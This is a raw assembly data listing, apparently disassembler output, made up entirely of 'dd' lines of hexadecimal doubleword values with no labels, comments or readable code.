		dd 0C02FC0B8h, 70F002E5h, 6805FBB4h, 6A8D5355h,	0A3E388D8h
		dd 0D3C362FDh, 0B6A97FE9h, 40B7FE05h, 5EF131B2h, 3992CB21h
		dd 0C4345A02h, 40D829ECh, 80F58D24h, 74C48F64h,	71E67C7h
		dd 0ACB60F66h, 8D9E067Eh, 9C92ACAh, 4E56BBC8h, 413746FBh
		dd 2D7EE117h, 0A12CA0ADh, 0A7E1C022h, 820B839Ah, 0E9E50B66h
		dd 3FA11AA7h, 0F49F55AEh, 8F0050B8h, 0F0296A6Bh, 1FA355Eh
		dd 8927E94Ch, 0D85158C6h, 719C8887h, 0C0868E1h,	0E982AE2Ch
		dd 0F7201795h, 76662E2Dh, 13E77E4Eh, 10B873Ah, 6D1289FFh
		dd 0FDC1700Ch, 101D6905h, 0AB01D3F7h, 4AB93FD9h, 1887E220h
		dd 18365E49h, 3B07E395h, 5BDF29B8h, 805FF932h, 1E32C298h
		dd 0F369066h, 588C1D0Fh, 119AE64h, 8E5C15Dh, 26755BE5h
		dd 407FEF68h, 880E5123h, 80D5F6F5h, 0CEFE59EEh,	3AAF080h
		dd 0E95AF108h, 2A12343Bh, 2408C221h, 0ACBA0065h, 9558877h
		dd 2D5AD000h, 52E75022h, 5D877F7h, 9F476C69h, 0FF888821h
		dd 4E2C101h, 2DCB6857h,	220AB014h, 10438A41h, 266BB02h
		dd 6436EFDCh, 0B9803A51h, 0D853918h, 68128C98h,	37CC346Ch
		dd 0F45B31CBh, 54152A5Ch, 5A5AD00Dh, 0EA03C14Ah, 5EF28107h
		dd 0C3CDF23h, 0F61C05D2h, 0D8D70167h, 3326E981h, 28C4FC66h
		dd 79551A92h, 0B490A0ADh, 15E0B43h, 0DC0E628h, 2516CDF1h
		dd 36FA0578h, 90012772h, 0E909D05Dh, 6127498Fh,	239E640h
		dd 0E9179407h, 210B75D4h, 0CB280481h, 11EB8000h, 3700C3E6h
		dd 0F6D9B252h, 0FACAFEDAh, 30817DF2h, 0BE0CC4E2h, 0F36296E9h
		dd 0A0665C92h, 28CDB4BCh, 43CE9CE6h, 2401DFB9h,	0C281DA01h
		dd 67E56007h, 81884170h, 329C80ADh, 2D2B9235h, 535802F1h
		dd 5E8294Eh, 8F320789h,	15B7B940h, 0AE173724h, 726D12B0h
		dd 13F2053h, 2D512190h,	7E62820Ah, 0C161ED43h, 5C0219A8h
		dd 3B9E1ECEh, 0A429EFE4h, 584691E7h, 0D149391h,	20F0F01Ch
		dd 1E05DAF5h, 0E821E1E5h, 91E96020h, 0EF059C69h, 4A47D6Bh
		dd 0B69ED428h, 0EB7B7B4Bh, 22710C5Bh, 4F231D6Fh, 5421674Eh
		dd 8EDD87h, 0B50D6B85h,	0E945590Bh, 29736120h, 409C6434h
		dd 0C2900162h, 41C3312Eh, 1DD63715h, 0C5414BB0h, 0F2F58058h
		dd 0D8FCE8C1h, 0CBA3CE0Eh, 8B41BFE9h, 96EF2031h, 45D4CC6Bh
		dd 0A7BA00D6h, 42365F6Dh
		dd 848E490h, 81021DA8h,	5E56D983h, 52B8B426h, 34B6912h
		dd 765CD71Fh, 30D32989h, 6DC1EE25h, 0D8282BB3h,	0C45B79E4h
		dd 0E2E68812h, 0B9598AEDh, 0A37A65E2h, 8046EBC4h, 78291285h
		dd 846E5C3h, 516E000Ch,	0E95339E2h, 0D2D6FA63h,	0C7622E65h
		dd 687AE001h, 0E33B4C47h, 0E99221D6h, 5C287410h, 155C8EECh
		dd 0B183A354h, 0D1715502h, 0FF41CE35h, 21972209h, 0F14A0BF0h
		dd 30023668h, 0EC59C37Ah, 0FE291D51h, 487251CBh, 0C0E4447Eh
		dd 0FCBBF2Eh, 0B9025DC4h, 0E35A0940h, 99FB6301h, 4E6059CAh
		dd 8DFDB402h, 3936E77Eh, 4E066C93h, 0F3ABAC4h, 64CA055Fh
		dd 0A98BDFCh, 0CDFE2CDEh, 70411B8h, 665FC580h, 307B24C0h
		dd 8BE912D5h, 685BC870h, 9374324h, 0EA045665h, 0C0032B30h
		dd 0E79803EFh, 0F7388006h, 0B8F82CFBh, 79446342h, 54825A0h
		dd 0C8BE80D1h, 994E406Bh, 95F7724Ch, 26C16412h,	8A43AF9Eh
		dd 0E1058C84h, 0BD0A212Ch, 0CB1B004h, 173257A6h, 62D2C958h
		dd 1B098315h, 57760112h, 0A141A9BFh, 3090611Bh,	3B18D6DEh
		dd 343C29AAh, 75B2287Fh, 179A32B5h, 928BEB4Bh, 0DE899423h
		dd 6052EF25h, 83400A24h, 0A935114Bh, 0C8459417h, 0ECF1B2E9h
		dd 3C5FBA11h, 3F695B02h, 51462250h, 2DCCED2Ch, 9A2D896Dh
		dd 68E2487Bh, 691294FDh, 0A12060E5h, 62C86812h,	3AF0F060h
		dd 4A3F2825h, 4CBF00AFh, 0EA091DB7h, 9EBC05E9h,	2FB55101h
		dd 2E20B050h, 34725B9Dh, 0FDCE30EEh, 7401D413h,	4B41BA52h
		dd 2706412h, 31EC001h, 81135021h, 57C9ED09h, 0EA6A03DAh
		dd 5AD5E15Dh, 0AC600822h, 0DE184468h, 95E2F0Bh,	0C5DB00F5h
		dd 76F86D56h, 1883F276h, 4E12C637h, 1009B24Dh, 616BE9A4h
		dd 0B9FB01A3h, 0ED9A750Eh, 56F194E7h, 861EF80h,	96B6E942h
		dd 0F0728C4h, 18FC5DD2h, 0F0AC946Bh, 49009616h,	0FB013423h
		dd 2DD9895Fh, 0DA809FE9h, 80D0B353h, 0C046E31Ch, 0DBF608C6h
		dd 0C3FE3E04h, 0E9B6F305h, 4204B1FDh, 0E6100102h, 45588105h
		dd 0E20E3190h, 0D34B3946h, 5B54B104h, 51349BF3h, 0E9F33038h
		dd 0CB25015Dh, 5BF89159h, 0B6754EECh, 1CA5526Ah, 260E129h
		dd 0FAD04B85h, 103B5448h, 0E059FBB0h, 0AAC5526h, 9CFE7C4Dh
		dd 0D8318FADh, 8443D79Eh, 0E18FF135h, 682D382Eh, 0CB6B63C1h
		dd 0E9CC0ABDh, 49BEF3F5h, 0D558CE1Ah, 1CD54531h, 0CBDCFB31h
		dd 0F1C5C022h, 448A1E6Ch, 68D9F704h, 0F5B971D6h, 9F09F426h
		dd 32BE0756h, 1E0049EDh, 0E03752F6h, 3805585Bh,	9AF1CDE9h
		dd 5858029h, 10FA8B4Eh,	4860E220h, 4F154667h, 0BBF20126h
		dd 0DB61B2C9h, 0C0838FA0h, 82BF94D6h, 452B020Ah, 18B12F92h
		dd 43D16852h, 95E91230h, 77105A52h, 0C912D0AEh,	93737865h
		dd 32871542h, 89AD685Bh, 0F0E9E30Bh, 0C2E44C64h, 5E426808h
		dd 8B6310C6h, 125A2A17h, 37336C79h, 8A26BF5Fh, 0F6028B5Dh
		dd 65BC4FA8h, 0F27F43C1h, 128F5636h, 2BABB55Ah,	58598840h
		dd 63AC6851h, 340E5B3Eh, 0E6F14904h, 21C2BE23h,	6C796ACBh
		dd 9EE5E628h, 822BF232h, 65BC2A0Ah, 2AC1E157h, 0FF486C2Ah
		dd 847F3428h, 84C82B99h, 0A4B13D37h, 70015AC1h,	8095B8B7h
		dd 0DEF74EC3h, 5FEE0A81h, 87906914h, 0A2378A73h, 5D40F229h
		dd 1D0033EAh, 0B9516CA3h, 5CE8E317h, 20480686h,	0EC5D7854h
		dd 2D48BE1Eh, 28665819h, 0DA327F9Eh, 0E0F61ECEh, 95E676C0h
		dd 6A05B8BBh, 391E1D9Ah, 0A0C2ECE0h, 5266E908h,	0A392877Dh
		dd 0F729108Dh, 99429045h, 515202E1h, 88322EE0h,	3796F298h
		dd 29A2E905h, 58DDD1A4h, 6489E4D7h, 27E95A28h, 6BB63F96h
		dd 587A6858h, 22D2746Bh, 868A5E7Dh, 0A302E977h,	58682AE9h
		dd 2AC47C01h, 0C7E83C8Bh, 0DE51B2B5h, 9414F9A8h, 1AEF3A37h
		dd 0FBEC6F8h, 291F62CFh, 80C26A0Dh, 102AB32Eh, 760CC115h
		dd 8234CF28h, 0A751DC56h, 0F2A28138h, 60D60126h, 162CB82h
		dd 0DFF70914h, 6673FEE9h, 0FC6809B5h, 0A1BE1A03h, 0F8C5E979h
		dd 82E5E850h, 25D43D33h, 421F5397h, 0B30F668Ah,	9F603CDAh
		dd 5FF831B3h, 0C60D5568h, 0DD4828F4h, 2A2283F9h, 0C6D91680h
		dd 9E1E3279h, 5A1586C9h, 0EBEFA11Eh, 65C97D7h, 28593E7Eh
		dd 0E16EE912h, 0C6A3F2AFh, 397E1068h, 1896163h,	4442B9F3h
		dd 1C19612Eh, 5913822Fh, 0E6740C68h, 0E90DA85Ch, 0E5696BC4h
		dd 7485E3C0h, 0B8506B40h, 8C014A22h, 77059262h,	0CCE93D6Ch
		dd 9F3348A1h, 1A7E307Ah, 23483D15h, 10A97CE7h, 0D8165B9h
		dd 4036D04Ch, 0D1611A91h, 19486D90h, 0B273246Ah, 60DFAEAFh
		dd 84411B9Dh, 46B5A229h, 19352088h, 14D1874Ah, 65813031h
		dd 0D0382EC5h, 0F9CDD804h, 7575372Ch, 9605DD12h, 1C9241E8h
		dd 76700E1Ch, 0E9627C9Ch, 1185002h, 7D6E4D35h, 0EEE8C131h
		dd 58235240h, 417E0713h, 5647A300h, 30C130ECh, 4AE208E9h
		dd 0CE1EEBC4h, 4BBEC801h, 6E0DB6C0h, 0F4997244h, 5D9283D1h
		dd 32AC366Eh, 74C56D20h, 9582701h, 19E0AE2Bh, 164099E9h
		dd 622109BBh, 9452655Ch, 0BC775090h, 0D7A070BAh, 60820572h
		dd 25685A86h, 0CB6612E0h, 12C96259h, 1D44FF56h,	0B1076C78h
		dd 701172D2h, 0F8015900h, 8E70305h, 8B5F2835h, 0CF3794ACh
		dd 0F9E916D9h, 0D9290F41h, 4F6C5F5Bh, 0F6F1F6C6h, 0E9CCB606h
		dd 97F3D897h, 52205C9Eh, 700900Bh, 0CBD011Ch, 0BD83195Dh
		dd 79DB515Fh, 68630C05h, 0EEC057A3h, 4B2F4F76h,	0F59A802Ah
		dd 9A94B597h, 0C4BB5300h, 0FE6E4C75h, 519904CBh, 0C04B253Ah
		dd 0BA545636h, 0DA29120Bh, 7C3C0F5Bh, 0C4218680h, 7B8505Ch
		dd 749759DCh, 9658E729h, 3E811652h, 0A5556089h,	21B36992h
		dd 6072B22Fh, 58D106E3h, 20005EEEh, 213546D0h, 3A905EF0h
		dd 0C8310A16h, 0B516CD24h, 0F7918342h, 56DD61D1h, 4B0F9114h
		dd 89863C6Eh, 51FD0258h, 4612A912h, 0D2AF208Ch,	50CD8736h
		dd 0E8313908h, 505FC520h, 99734229h, 4C6C607Fh,	577217EDh
		dd 8A11016Fh, 84490C44h, 5CD3ADB0h, 0C1E55Bh, 0C523276Ch
		dd 0A4E8FE78h, 5E760296h, 0D3893125h, 0C7C0B056h, 13560C5Ch
		dd 10DF2949h, 5B2E0812h, 3FF1A76h, 1B772840h, 0A20A1BB5h
		dd 3CB9007Ch, 4E18B16Ah, 0AE2AC829h, 0E1C1805Fh, 69270778h
		dd 807364D0h, 1F7BF4ECh, 5FF71939h, 0B4098E35h,	208F0D80h
		dd 0C1002769h, 940508E0h, 90A4AB7Dh, 0BE912DCh,	0D786F352h
		dd 5EF3D720h, 0E1DE20E9h, 489043ECh, 324DA7Bh, 60B7735h
		dd 0E9DD8220h, 0F408CB8Ch, 505B61E7h, 0B26597F9h, 50381401h
		dd 1C570909h, 0E956A190h, 9209F54Bh, 4A091255h,	1355E448h
		dd 0F30AF3E9h, 9C662C65h, 1394B389h, 6810384Ah,	672F322Ch
		dd 5AE991B6h, 0D2C32D64h, 89E71710h, 0BBB68255h, 981DAD0Ah
		dd 82D1C6F6h, 0B33534Eh, 0B845FB2Ah, 0F7904125h, 326977BAh
		dd 0C217CF5Eh, 0ED02ED4Eh, 373B0FC0h, 0CEE661Bh, 0D4212A9Bh
		dd 0FF42F003h, 0D2300325h, 4E7C482Dh, 0E40B0E00h, 34E99EFAh
		dd 8C7B959h, 4825CCDCh,	0C1CAA039h, 53686610h, 0C85E3B63h
		dd 8E5B8F25h, 87089433h, 52F7D2F7h, 0FC02FFDCh,	0CF54F95Ah
		dd 0CA2CE7C6h, 33263345h, 0DF00516Fh, 83E727BEh, 7DDE01FBh
		dd 0C8BF2C5Bh, 28CA63Bh, 411A521Fh, 427BCB0Fh, 3BD058C2h
		dd 0FEE8D821h, 0EDB6C8BBh, 71DA7018h, 5807EE96h, 0FA85D6F6h
		dd 96E28052h, 4C215A10h, 809F65ACh, 1E069086h, 2EED053h
		dd 49E913F6h, 0A4F0F164h
		dd 1C8D4148h, 0E6E7F529h, 0D26816F5h, 523BCA34h, 4F264C60h
		dd 2AB9B900h, 0B042772Ch, 72A609D6h, 58E2B65h, 72CD3C91h
		dd 57417F01h, 6A52AABFh, 40E8E465h, 0E93E09DEh,	65E858F6h
		dd 0E20C4D03h, 4DFF76Ah, 827CB447h, 951DB2F9h, 6F307A50h
		dd 0D1EB4817h, 33780414h, 11D9E9h, 5253D830h, 0F63F0EB2h
		dd 0B7E766DAh, 0E9FAC0CFh, 0A8AAF095h, 9ECAAA6Bh, 27056EE9h
		dd 0B9AE40F9h, 8BB09B9Ah, 0A025ED20h, 1DF0567h,	0F701F127h
		dd 2F505D5Eh, 71C7B632h, 0E957405Bh, 7DD2CB55h,	2D684688h
		dd 0F7CC6684h, 2149689Bh, 7AE95242h, 0DD585938h, 4C7EDE46h
		dd 587BFBAh, 7C1293ACh,	981DF8A8h, 0D0015002h, 805CD6E9h
		dd 16794265h, 74CEEC2Dh, 0EC556466h, 0E6F4D48Ah, 854E4DE8h
		dd 3C81EB01h, 242E7F17h, 0D98DBCC8h, 5CE168CAh,	374E8F63h
		dd 0E9F891A4h, 829A38B8h, 0E3984105h, 5AB6E1ACh, 3E1D19BBh
		dd 124C52Ah, 2B981CEh, 4FD4072Ch, 0BA0027FCh, 347B32A3h
		dd 5A58D131h, 0EC69863Dh, 42E791C8h, 0F952545Ch, 0D6888E7Eh
		dd 61C89444h, 710D0B94h, 95AC007Eh, 0AEB0AA2Dh,	0C5814C69h
		dd 0F2003B7Dh, 64862DDDh, 35602FE9h, 2A66BD16h,	29340B67h
		dd 4B71206Fh, 0A2CC6325h, 8071D4C5h, 71F57B38h,	0FCD0D901h
		dd 25324808h, 0D69662B2h, 0EDD1C3C2h, 93D4E6F2h, 16B29434h
		dd 38F008D6h, 0F739E027h, 64D2F4DEh, 824CB7Ah, 3E469C2h
		dd 39E927h, 0B5A9B37Ch,	1DDE0C4h, 0D0CDFE5Bh, 2E12E9E5h
		dd 2DA2DF16h, 78668B9Fh, 0D4007366h, 56398D26h,	4194DBEh
		dd 0F2210AB9h, 0FA0F835Eh, 20222399h, 773BAFFAh, 410CE1EDh
		dd 2204A6Dh, 395F4CFAh,	4D5DF203h, 0D7D22E0Dh, 57AEC696h
		dd 6E7CEF40h, 13CB1D4Dh, 0F73E1258h, 1DA998D3h,	1AD4CFF9h
		dd 782D491Bh, 77C9D302h, 0F557970h, 5F5E418Ah, 75B4E453h
		dd 0DAECC69Ch, 0B5191220h, 0E4B20338h, 0ADDB828h, 24C04EBAh
		dd 51C6015Eh, 80526755h, 7AA7A20Ch, 4E6BE9ADh, 0C6DFDC6Ch
		dd 94265869h, 0C38009A3h, 8D5151E3h, 9C968249h,	19008C6h
		dd 2C7835Ah, 316E2033h,	0C30D06DAh, 0FC3C03Ch, 0F1C058B7h
		dd 0B20B4120h, 9D02818h, 233A028Eh, 0C291F637h,	0C50F5196h
		dd 46CC77CBh, 3EA8A158h, 0BC845402h, 0B84F90AEh, 4A02181Eh
		dd 19360559h, 0BCEBE02Ah, 0BAA27214h, 0CA8102A6h, 5A027BA1h
		dd 11E28Eh, 0EA87D529h,	0A956BCE9h, 0E761D783h,	0EF810887h
		dd 0F30EE1B2h, 3A833C57h, 0FB01BC82h, 4E381427h, 4008F672h
		dd 681A5615h, 42B16092h, 65C1DE0Ch, 5BF6D2A3h, 5452B97Ch
		dd 157EC2A3h, 0F309206Ch, 5929A852h, 7C8C605Ch,	9E907A07h
		dd 19860B40h, 8D4F6E5h,	335BD568h, 88530E9Ch, 59D849D3h
		dd 0EAA94FEAh, 0F60EA858h, 54D530D2h, 1F2F93h, 88A1B65Eh
		dd 0BCA6F2F0h, 0E7BB001Fh, 2114726Fh, 0C143DF5Dh, 104A0BEFh
		dd 0ED9DFA89h, 40ACD444h, 0E75CD1FCh, 1037D4C4h, 0AC3FE0AFh
		dd 25675B96h, 971E1CC6h, 587CD1CBh, 41103387h, 0D72B6DA7h
		dd 92547E32h, 89EA7950h, 49206DE9h, 0B551D7F6h,	2CC00E4Eh
		dd 0E480EDD0h, 22E9106Dh, 0C7811226h, 0BAE65FD6h, 60C176E0h
		dd 3AE95808h, 0D1926162h, 7DD40749h, 59ED21F9h,	68AF247Dh
		dd 18788A25h, 8912F08Eh, 5B7082DFh, 68656B73h, 0AA67E95Ah
		dd 82226291h, 98DE608Bh, 535468A2h, 0B477FA6Eh,	53C49235h
		dd 6EA8D1E4h, 2D0C3308h, 0C129BA56h, 4B3CDF5Dh,	30752D01h
		dd 605A4E40h, 4F1CD22h,	477EC580h, 0B821F69Dh, 3F96200Bh
		dd 59CF2783h, 0ABC61848h, 0A433B513h, 16459C0Ch, 5B2B0104h
		dd 0B1515066h, 2DF44252h, 0A68852D6h, 0EFA96F62h, 5E493DD0h
		dd 508924h, 571385BEh, 7F1DC06Ch, 5293A8ECh, 0E9F2890Bh
		dd 0DE8C083h, 0B65300B4h, 28480534h, 0AF980341h, 0F728527Dh
		dd 1DB08731h, 5F185F33h, 5CBFBAE8h, 0C959125Ch,	68D701BFh
		dd 0F94CDE1Ah, 132B3CC4h, 0EE825909h, 0E22343A1h, 3961C97Bh
		dd 92F79EDh, 0EE665A55h, 2DD1D1F9h, 50AC1045h, 4136E044h
		dd 25ADF1BCh, 3997D459h, 0F349FB9Ch, 4DE906F7h,	0CA007B6Ah
		dd 697939F9h, 0C142DAF7h, 3572858Ch, 91EBE1Eh, 848C575h
		dd 8880CCEFh, 45B66F8h,	84C6C607h, 222D7516h, 88529812h
		dd 82A91C1h, 0F6072117h, 0ACA680DCh, 3D514114h,	0E5532F23h
		dd 0D07A752h, 3D61125Eh, 0FD20CC5Ah, 8694BFDCh,	56F58717h
		dd 0BED15884h, 0F98D6B59h, 4E36BBA1h, 8D680CFEh, 5CF3290Dh
		dd 0B2D25C32h, 0BBF89866h, 215F8845h, 0FCD04695h, 4E0C4AF9h
		dd 84408163h, 5D53DD79h, 0F64D9A95h, 0C8BE42A4h, 8122DA86h
		dd 0F63E420h, 36C4805Bh, 0A15A0529h, 0A674EF7Ah, 8CC5444Bh
		dd 8A5F0AE3h, 0C6C36BE3h, 236825C9h, 8E5F5649h,	0EDD589F3h
		dd 17500FFCh, 7C255AF8h, 9CA4E49h, 0D853580Ah, 4E41C54Dh
		dd 93396B06h, 0BAE8E90Ch, 0F401803Ch, 58E78836h, 0ED21F828h
		dd 0C2E2347Bh, 0F70A37F2h, 2DB08E07h, 0F659C800h, 52C73D0h
		dd 0F904AA24h, 0E9E38088h, 4DBE01D9h, 0BFCD6469h, 51004C0Fh
		dd 0BAA7E99Ch, 0C5A433B1h, 7B40E607h, 0AAC2965h, 7FF35ECBh
		dd 1FE6E9C1h, 0CA495D3Eh, 82A83A3Fh, 56D67DA3h,	706BA076h
		dd 0BF570058h, 2AAA7EEBh, 0E918FD09h, 80362839h, 0F0845ACCh
		dd 0B32553AEh, 2898C48Fh, 28FDDC30h, 0B9C18ECh,	58E388ADh
		dd 0A9E2948Fh, 64F6F328h, 2689FF79h, 0CD0491B2h, 0E0928DE5h
		dd 0D69E1901h, 95E0562h, 0EDF419C4h, 9E710B48h,	0D1B4C296h
		dd 0E1B830h, 48DC0B6h, 65886887h, 7B0118B5h, 0CCFE8010h
		dd 235CBDEEh, 0E257A389h, 0B5A958F6h, 3F098115h, 96D57129h
		dd 87B1879Ch, 0EC3474DDh, 2D24485Dh, 66280FF9h,	0B6B3B9B1h
		dd 0E660A56Ch, 0C8922B8Ah, 8F80EE5Fh, 5D05E376h, 0E984165Dh
		dd 29D6E004h, 0D8E668B8h, 522A9195h, 5AF00F2Eh,	52038A9h
		dd 0A14946B8h, 0C65B727Ah, 505FC70Bh, 0FE29259Eh, 78ADE202h
		dd 813C3302h, 74D06836h, 0BB80C73Ch, 8107520h, 1EB8302h
		dd 0EC3AE468h, 223802F7h, 0E7C17546h, 28EDA961h, 421EDE8Ah
		dd 0B8819829h, 167B4A4Eh, 0F4F8C560h, 0A470F1D6h, 0D5C941DAh
		dd 5997511Ah, 0D642F201h, 0F301C864h, 5651544Ah, 6320DBF7h
		dd 0A90E1255h, 7654C766h, 19B63AEAh, 9CA358A5h,	1E765249h
		dd 1459C1AFh, 39806234h, 0F29D93CAh, 44C28020h,	0E903EAC0h
		dd 44381F2Dh, 0BB53183Fh, 0FB014F24h, 0D99B13E4h, 46DA692Dh
		dd 0AD3BA33Ch, 0CD4651Ah, 0B8AA52C0h, 0EB069A9Ah, 5EC70940h
		dd 31D080Ch, 6704162Ch,	73C75557h, 0E3BC17A4h, 92245E8Fh
		dd 60EB93Dh, 6C2635ACh,	7AB020Ch, 0D0293CF4h, 58166B5Ch
		dd 6BE70F52h, 71C63580h, 8BB13AF2h, 16FF708h, 0C7404ABAh
		dd 76BCE86Eh, 58A13580h, 9D410565h, 8529372Fh, 8124D516h
		dd 5EC0A0Ch, 35159081h,	8C585502h, 0D2B5826h, 5CD28144h
		dd 0EC565AF1h, 490A0952h, 7E0F770h, 9A48577Ah, 26691507h
		dd 27F93EBCh, 1F84A0D3h, 0CC19936Eh, 0C24906A8h, 468B7C01h
		dd 5AD60140h, 0C0E9B921h, 31BB9683h, 0EF25F228h, 9A6FC474h
		dd 0CB6813ABh, 0A2243453h, 7B688066h, 4C294340h, 7A0CC85Ah
		dd 0DBCAD85Fh, 0C6D10BB7h, 525025ADh, 28CC3111h, 9D51290Bh
		dd 0F5B9808h, 0C72F75B0h, 0C303936Eh, 9AFA5958h, 0ADBE2568h
		dd 1FD76A12h, 4D452F4h,	29E2C3C2h, 6525F0F3h, 36A94017h
		dd 41CF23B1h, 54590B29h
		dd 0EF123227h, 0BEB671h, 22BC781h, 78014396h, 844E5EFh
		dd 123C5182h, 0E90EA4DEh, 0E0FBB95Bh, 916F26DCh, 7DF08B9h
		dd 0ED95602Fh, 6433BFAh, 5D12093Fh, 4B741DC1h, 5E226DA0h
		dd 0A451397Fh, 37D501Eh, 585EAD40h, 7F42BB35h, 28C15B0Ch
		dd 0C855213Ah, 0FA293FACh, 0E1393E3Dh, 70BCDC4h, 2F213349h
		dd 7224C98Eh, 0B5511CF0h, 0B4E81D2Ah, 3DF0094Dh, 0DF319AC0h
		dd 0E9504C9Ch, 16FEB47Ch, 0FE6E0380h, 0C0DAD0C9h, 0ECBEE463h
		dd 4F1E7B5Fh, 8002EE81h, 33307DF6h, 0BC9CB737h,	2D201B90h
		dd 779BB5F6h, 0A1F36DBh, 3E035146h, 251F1672h, 2813BF76h
		dd 0B6B753F0h, 0E0FD882Ch, 5037ED07h, 4FDFEC77h, 5EF89E5h
		dd 6BEC7F33h, 0CA4C5F2Dh, 7BE99696h, 0CFE984BDh, 8D44AE2Dh
		dd 0BF0033E7h, 5A5665D4h, 4ECF8100h, 0E969B109h, 0BFAC92B6h
		dd 0E925503Ch, 57BE12Bh, 5AB1902Bh, 409E0C1h, 7150D0F7h
		dd 0E90DB1B3h, 0E15286Dh, 7BD2C5Bh, 4F4E04D0h, 0D543C5B7h
		dd 47C0E92h, 0D814F85Fh, 9702E9DDh, 64D6DA8Ah, 6845905Bh
		dd 54BE0FBFh, 0B17FEEC9h, 15C72A79h, 0D57CC468h, 25F2C016h
		dd 7814C1C3h, 0C52D971Ah, 2FBDE209h, 2606A148h,	44ED0E95h
		dd 7731DE65h, 0FF4BD3C8h, 80730FCFh, 790B66EBh,	25DB3E2h
		dd 0B4EC1ABh, 0C708A203h, 0B85056F8h, 0CA0F8C00h, 3C74BE59h
		dd 31162ECFh, 0D6F70C07h, 0F60F8104h, 85072B3Eh, 9C8BF001h
		dd 68515902h, 0FFCC37DBh, 214BB90Bh, 5420603Dh,	0B2776D2h
		dd 0B85932E7h, 0E05F1C04h, 0BD1D6645h, 81030ADEh, 0F318AF5h
		dd 0EBAC50Ah, 54E945C2h, 0CE8AC4Ah, 1495CDA5h, 9459CC8h
		dd 6802ADB7h, 3E49AEE9h, 3C822045h, 34A83500h, 821FF181h
		dd 29EE0425h, 0D0D5E9CDh, 4AC5BAA2h, 0C137AD2Dh, 86705ED4h
		dd 36DB56D6h, 52A2247Bh, 684C8766h, 0B24727B0h,	0CBA0C80Ch
		dd 6A9B0DD0h, 77BB20F7h, 0E258EBC9h, 2F68F37Dh,	425B1113h
		dd 0F2D2B90Eh, 4EA027B0h, 0C80134B4h, 0D40330Ch, 0C2090F5Ch
		dd 5945E2D1h, 0C486E802h, 0C7171ED3h, 0CAD926BBh, 0B393C1BBh
		dd 89F76709h, 52A58400h, 644561h, 0F08E6C1h, 5784CE81h
		dd 0C0C29ACh, 16D22816h, 90C63B40h, 804812EEh, 0BB4F34E9h
		dd 11017891h, 574B1A4h,	0F988680Ah, 1D831013h, 7C67297Ah
		dd 19B983E7h, 81E0F507h, 49328CC1h, 0DEC89815h,	1FAD58DAh
		dd 0B7BA0F86h, 893AC25h, 0EC272A43h, 5FFB3F5Bh,	8D0A3A92h
		dd 29100243h, 0BE42B2C2h, 0D38965C8h, 115CBEAAh, 4A25F269h
		dd 0A3A38443h, 35AE10BFh, 3BE83119h, 912B3E5Dh,	31029D4Dh
		dd 47CDE9C3h, 0F0891BD1h, 13AC86Ah, 3FF13980h, 0C2F64FCh
		dd 0BEFE876Dh, 9C22CB0Dh, 2857590Bh, 3830B1E1h,	28D4947Bh
		dd 0C0FA0396h, 0D7F607E7h, 0B47C1EEAh, 2FEABE00h, 0F7566415h
		dd 12466FDh, 0B0ED80E5h, 698F6F12h, 1BE7D800h, 5C019483h
		dd 0B16571E8h, 0C26C275Eh, 908BC36Ch, 0E84F42CCh, 89208729h
		dd 0AD0082F1h, 730DBA52h, 6863A806h, 0F8250551h, 0CA8180B3h
		dd 0AD14B13Bh, 6F080E0Ah, 2AE260D2h, 12124C0Eh,	0D05464E9h
		dd 0DC218813h, 0EB28747Bh, 8AEE33EDh, 6C74152h,	7F281725h
		dd 126E060Ch, 8A5360D8h, 6C2CE30Dh, 7A816A2Bh, 4346D8Ch
		dd 1FEADC42h, 0CEA1F612h, 0D05A150Bh, 97CDE659h, 6167748h
		dd 5890E916h, 2BED0B21h, 5C2904FCh, 726A60F1h, 0BC5144CDh
		dd 0AEE39346h, 0DB9BE986h, 8C2003B0h, 0E1BD09B2h, 6109132Eh
		dd 40417642h, 36346FD8h, 838B1CE2h, 15CB409h, 0F663E9C2h
		dd 1133189Eh, 0EFAA50CFh, 794DAF6Eh, 9C595052h,	0DE90C04Ah
		dd 60069511h, 2C8A0C82h, 0E0B04385h, 82F689B7h,	946164Bh
		dd 9D444589h, 0BE52F826h, 2B809016h, 5B2E9EBAh,	4D000062h
		dd 42670D7Dh, 6EAC11Eh,	4479F28Eh, 71B032E4h, 521A9D5Dh
		dd 96B4656h, 0A70D79E6h, 0CAE9E951h, 0FE1275D2h, 20B2145Dh
		dd 1F24F93h, 2C74F8E0h,	66692FFEh, 0D514EB33h, 2D6A47A1h
		dd 522812FBh, 8220F662h, 0C06BE680h, 500602E6h,	0D0F6EFB0h
		dd 9E2C0E04h, 0C6025B34h, 264A70E9h, 0BCFB1655h, 0D9304B19h
		dd 10B55BD9h, 8A278BC4h, 0E958C2D4h, 2D549C09h,	0C47896E8h
		dd 0EEC110C5h, 0FD25A7ECh, 0F5F111C6h, 97712CB1h, 61FBF706h
		dd 9ED14D25h, 59535181h, 8760705Bh, 13B0D97Bh, 6B968CA0h
		dd 0FAE04B4Bh, 86461277h, 109CBC7Bh, 85F68E2h, 63AD01FFh
		dd 5F2E3E4Eh, 9C29E80h,	2B40E9F0h, 4E285D81h, 9C0E15DFh
		dd 5F2A683Dh, 2947F160h, 0C7143EBCh, 83DF290Dh,	7D5E4B41h
		dd 8B0CD235h, 2F68F4B0h, 62120B77h, 16261DEh, 8AC64854h
		dd 0DE229D2Fh, 0BD01DDC1h, 192041A0h, 0E404BD21h, 0A2D9AC36h
		dd 598D02EEh, 0B3FCFA9Eh, 0AD1D1CBCh, 92C35A97h, 0C26AE5Fh
		dd 0F014ABBh, 3C16680Ch, 0F11F6249h, 3408E994h,	22F89453h
		dd 0AD675B2Dh, 55CE26B1h, 7DB98781h, 2E106A78h,	0E6F2B7D7h
		dd 0BE6BD1DEh, 83E049FAh, 6CE78914h, 8731579Fh,	59CD40C3h
		dd 3F599668h, 0DBF85C9h, 0C8E94681h, 69F756D6h,	7DDA4BC9h
		dd 49ED000Fh, 2959C70Dh, 836790DDh, 0F2D07F08h,	46AF3053h
		dd 0F7153A0Ch, 25A2054Ah, 0C960E915h, 95EF800Fh, 95296F1Eh
		dd 203D9E56h, 0B6F0F6BAh, 2AE5A0C3h, 1CBD3DD1h,	5E753705h
		dd 0B12DD67Bh, 89B67877h, 0D0E17652h, 0E64EFFE9h, 0B9128CD4h
		dd 9056E6F4h, 300A0026h, 1EBE7B6Eh, 0D246701h, 5138A31h
		dd 766D349h, 0B492C80Dh, 0B86C761Bh, 2146608Fh,	0CD113666h
		dd 0A8CAA0B1h, 79D81687h, 0A710D24Eh, 51984A08h, 44D34A66h
		dd 0AF514Fh, 5C576856h,	5A2A7B80h, 0B9D90E65h, 5D9730A1h
